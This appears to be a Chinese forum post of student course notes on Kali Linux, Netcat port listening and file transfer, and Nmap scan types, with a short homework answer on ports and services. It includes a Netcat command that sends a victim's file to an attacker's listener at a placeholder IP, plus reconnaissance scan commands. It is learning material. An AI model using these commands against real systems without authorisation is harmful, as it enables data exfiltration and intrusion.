本帖最后由 sczsh 于 2025-4-6 19:00 编辑
一、课程内容概要1、Kali 系统优化 2、Netcat 3、端口 4、Nmap 二、重点知识与细节
1、Kali 系统优化
2、Netcat:nc [可选参数] ip 端口 正向 shell:
Linux 控制 Windows
Windows 控制 Linux
Linux 控制 Linux
Windows 控制 Windows
反向 shell:
传输文件内容: 攻击者(服务端/接收):nc -lvp 端口号 > 1.txt 受害者(客户端/发送):nc ip地址 端口号 < 1.txt 攻击者的文件名可以随便起,受害者这边必须得有这个文件才能发送。
正向:攻击者主动去连接受害者
反向:受害者主动来连接攻击者
3、端口端口范围:1 ~ 65535 端口占用:netstat -tulnp 4、Nmap端口扫描:扫描主机的开放端口。
指定端口扫描:nmap 主机IP -p 端口 指定扫描方式:
TCP 全连接扫描:nmap 主机IP -p 端口 -sT SYN 半链接扫描:nmap 主机IP -p 端口 -sS Fin 扫描:nmap 主机IP -p 端口 -sF Null 扫描:nmap 主机IP -p 端口 -sN Xmas 扫描:nmap 主机IP -p 端口 -sX
主机探测:不扫描端口,只扫描存活主机。本质上是 Ping 扫描。 nmap -sP 主机IP 服务识别:扫描端口时,默认显示端口对应的服务,但不显示服务版本。 nmap 主机IP -p 端口 -sV 系统识别:扫描端口时,识别主机的操作系统版本。 nmap 主机IP -p 端口 -O 结果导出:将扫描结果保存到文件。 nmap 主机IP -p 端口 -oN result.txt nmap 主机IP -p 端口 -oX result.xml
三、作业1、对自己的kali系统进行优化 2、使用nmap中的脚本扫描自己的局域网主机 3、结合自己的理解,说明什么是端口,什么是服务,它俩之间的联系是什么 端口是计算机操作系统与其他设备的通讯接口,服务是操作系统上运行的程序进程,服务需要通过端口发送或接收数据包完成与其他设备的通讯交互,而且一个端口在同一时间下仅可被一个服务占用,一个服务可以占用多个端口进行设备通讯。
|